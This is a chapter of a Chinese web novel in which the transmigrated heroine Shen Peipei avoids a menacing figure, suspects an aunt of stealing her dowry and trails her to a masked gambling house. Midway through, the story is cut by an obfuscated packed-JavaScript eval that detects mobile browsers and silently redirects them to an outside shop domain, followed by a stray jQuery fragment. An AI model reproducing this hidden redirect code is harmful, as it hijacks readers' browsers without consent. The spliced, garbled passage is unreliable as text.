白氏走时邀沈佩珮去她房里一同用饭,沈佩珮借身体不好为由,婉拒了。
看着沈佩珮脖子上仍旧乌青的印子,白氏便也没再多说什么,带着白陈年便走了。
白氏一出门,沈佩珮便感觉到屋里的温度瞬间下降不少。
她知道是肖彦来了。
为了不连累别人,她连忙打发了小玉和小桃,偷偷在袖子里藏了跟发簪,又躺回床上。
果然,没一会,她便听到了和昨晚一样轻微的脚步声。
沈佩珮整个人都绷紧了,死死捏着手里那根细小的簪子。
她已经想好了,如果这次那人还是来杀她的,她就和他同归于尽,天天被人掐脖子拿刀威胁的日子她真的已经过够了。
奇怪的是,那脚步声明明已经到她床边了,想象中的窒息感却没有出现。
忽地,她感到肚子被什么压住,随后头顶上传来了一道没有温度的男声,“以后别再拿这种东西来烦我。”
“什么?”见自己装睡被识破,沈佩珮直接就睁开了眼睛。
可她的床边空无一人,要不是肚子上还放着个食盒,她可能会怀疑刚才是不是真的有人来过。
沈佩珮打开放在她肚子上的食盒,一股香甜的味道立刻就飘了出来,是昨日庙会买的甜酒糖糕。
所以今日他是来退糖糕的,不是来杀她?
也就是说即使已经负分了,她也不是一定会被杀是吗?
沈佩珮盯着食盒里的糖糕看了良久,顿时有一种劫后余生的侥幸。
如果这个进度他不会杀她的话,她直接离他远远的,只要不惹他,小命不救保住了吗?
何必整天在他眼前晃悠,刷好感。
沈佩珮这样想着,突然觉得一直围绕在她脑袋顶上的乌云全散了,心情很好地往嘴里塞了块糖糕。
又香又甜。
自从意识到不去招惹肖彦,就不会死。
沈佩珮便真的躲了他将近一周,这段时间凡事有肖彦参与的活动,她都一律称病推掉了。
但她其实也没闲着,这段时间她凭着和白氏那不怎么聪明的侄子接触,倒是从他嘴里嘴里套出来不少话。
比如,白氏从前经常给娘家借钱,可是从上月开始。她不仅不借钱了,反倒开始给白家送钱。
比如,每日午饭过后,白氏都要借着视察铺子的名头出去,直到酉时晚饭前才会回家。
原身的记忆里上月大夫人杜氏突然生病,才轮到三房的白氏管家,也就是从这时候开始白氏变得格外爱过问她那些男男女女的私事。
既然她突然往家里送钱也是从上月开始,这中间肯定有什么联系。
思来想去,沈佩珮还是决定偷偷跟着白氏出门看看。
*
过了未时,日头当空。
静安城郊,金林乡,窄小的林间小道上两辆马车隔着一段距离,不疾不徐地缓慢行驶着。
后面那辆马车的车帘被掀开,钻出一蓝衫女子,询问外头的车夫:“大哥,这个方向,一般是去哪里啊?”
车夫咂了口旱烟,吐出一口白气回头应道:“我看啊,多半是去金林乡那间赌坊,静安的贵人们不敢在城里赌钱,怕被抓到影响风评,全都跑到金林乡来玩了。”
沈佩珮坐在车里头,听着两人的对话,突然想起了什么,也凑上去问:“听说金林乡的赌坊为了保护客人,进去的人都要戴面具是吗?”
“是啊。”车夫将烟杆在一旁的车辕上磕了磕,收回怀里,一本正经道;“是啊,听说就是因为这条规定,这赌坊的生意才这么好,还有传闻说圣上他老人家,也悄悄来过这里呢。”
小玉听完一脸惊奇地回头看向沈佩珮:“哇,小姐,你连这个都知道。”
沈佩珮只好尴尬地笑了两声,“只是听说,只是听说。”
说完她又缩回了车里,习惯性往座位上一躺,却被硬木板狠狠硌了一下后背。
“小姐小心。”身侧的小桃一把将她从地上拉起,又好奇地问道:“三夫人来这种地方,不会真的是为了赌钱吧。”
沈佩珮揉着被撞伤的后背,无奈地看向她:“那不然呢?”
小桃面上闪过一丝讶异,连忙道:“可是,她哪来的钱啊?”
是啊,她哪来的钱。
沈老夫人早知白氏为人不靠谱,要求白氏每月底都要将账本送去给她核对,还要派身边的嬷嬷亲自去盘点一遍库房。白氏就算是想动点什么手脚,也没有机会。
可是除了家里的库房和每月的流水外,这管家的人还要负责打点府里众人的田产铺子,也就是除了国公府的大库房,每个人私底下的那点财产也是给她管着。
这会再回忆起白氏为何会这么上赶着污原身清白,和找上门女婿。
沈佩珮的眸色一沉,只能想出一个可能。
原身的嫁妆被她动了。
原书里其实很隐晦地说过这件事,那就是男主穆月查封赌坊以后,宁国公府很快就分家了,原身也因此消停过一阵,女主在之后的好几场宴会上都没再看见她。
可是沈佩珮现在担心的却不是嫁妆的事,而是今日正好就是原书男主秘密探查赌坊被发现的那日。
我靠,怎么就那么巧。
沈佩珮生无可恋地往小桃身上一倒,后悔今天出门没看黄历,这都能撞上剧情。
正当她还在思考,要不要叫车夫掉头回家,就见小玉一脸兴奋地回头笑道:“小姐,赌坊到了。”
谁知还没下车,马车就被一群身着黑衣面具遮脸的人围住。
小玉吓了一跳,手里的车帘一松,青色的车帘垂下来,将车内车外隔成了两个世界。
“安平赌坊,请问车上是何人啊?”
带头的男人没看见车上的牌匾家徽,不自觉皱了皱眉,语气不太好。
沈佩珮为了跟踪白氏,没有乘国公府的马车,特意叫小玉从外面租了辆车。
“怎么?没名没姓的平头百姓还进不得这赌坊了?”沈佩珮道。
只听车外的男人嗤笑一声,语气颇为嚣张,“若我说是呢?”
说完,他又厉声喝道:“没名没姓就别挡在这,影响我们做生意。”
“小姐?”
车帘后传来车夫疑惑地询问声。
为了躲剧情,沈佩珮正想忍了这个窝囊气掉头回府,脑中却传来一阵刺痛,然后耳旁响起了警报。
【系统提示:剧情已开启,禁止离开副本】
沈佩珮:……
沈佩珮:大哥,下次这种事请提前说好吗?我什么都没准备,进个der的剧情。
突然,沈佩珮的太阳穴又是阵刺痛。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14106194|149280||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
沈佩珮:行,你牛,我走剧情总行了吧。
只见她从腰上的锦袋里掏出块金腰牌,递给小玉,扬了扬下颌,示意她拿出去给那些人看一看。
小玉本来就不是个什么好脾气的人,得了沈佩珮的吩咐,立刻抓着腰牌就跳下车了。
“少在这里狗叫,睁开你们的狗眼好好看看这是谁家的腰牌,看清楚了,记好了,免得下次又乱咬人。”
几人被小玉的话激得火冒三丈,纷纷凑上前去看是哪家的人敢这么嚣张,结果在看到令牌的一瞬间全部哑火了。
“确实是我们有眼不识泰山了。”刚刚还气势汹汹那男人,变脸比翻书快,十分狗腿地笑道:“只是要进安平赌坊就要戴面具,不知小姐自己准备了吗?”
小玉侧身看了眼身后垂下来的车帘,又转头凶巴巴道:“你们开这么大个赌坊,难道还没有几个面具?”
“有有有,当然有。”男人笑道。
很快,带着半截狐狸面具的沈佩珮就带着两个带着兔子面具的小姑娘,出现在了安平赌坊。
可能是所有人都带着面具的原因,这里的人反而没了平日里的束缚,个个都行为放肆起来。
光明正大抱着妓子啃的,沈佩珮才走了十步就看见不下三个。
抽五仙散的,醉酒呕吐的,高声赌钱的……
这场景就好像进了地府,塞满了一屋子的妖魔鬼怪。
酒味,烟味,五仙散的酸味,呕吐物的发酵味,混着赌坊内浓重的沉香,熏得沈佩珮头疼想吐。
看着这一堆堆带着面具的人,沈佩珮感到有些无助。
有面具挡着,让她找原男主,就好像在一把带壳松子里找到坏松仁的那颗这么难。
她一边回忆着原书的剧情,一边尽量往高处走,希望这样能看得更清楚些。
原书男主穆月是个正得发邪的人,他原本是大梁大族穆家的小儿子,只因在殿试上指出功臣贪腐造成国家钱财缺口,而被外派到穷苦的青州当县令。
后来又因在路上生了病,遇上了好心的女主,在女主家住了半月,便被家里捞回了京城当了个文学馆抄书的小吏。
而现在这会,应该是因为国库亏空,皇帝急着用钱,准备杀几条大鱼救急,才想起他这个反腐先锋,将他抬成监察御史的时候。
而这个赌坊,也是他这段监察御史生涯里的最后一段。
因为,这个赌坊牵扯到柱国将军赵骏。
最后,赵骏确实因为贪腐落了罪,可男主却因这事丢了官帽,还受了一阵牢狱之苦。
书里说,穆月为了此番调查,特意准备了个巴掌大的本子,和钩针大小的笔,就是为了能隐蔽的将这里的所见所闻全部记录下来,好当做告发赵骏的证据。
想到这,沈佩珮便特别留意起楼下频繁翻看手掌的人。
她撑在最高一层的栏杆上,躬着身体往下看了起码半个时辰,才终于在一个忙着推牌九的胖子身旁发现了一个疑似男主的身影。
正当沈佩珮准备飞奔下楼,完成自己的主线任务,保护男女主,要劝他离开时。
脑子里直接响起了红色警报。
【注意!男主生命正受到威胁】
【注意!男主生命正受到威胁】
沈佩珮:不是,原书里明明没有这一段啊?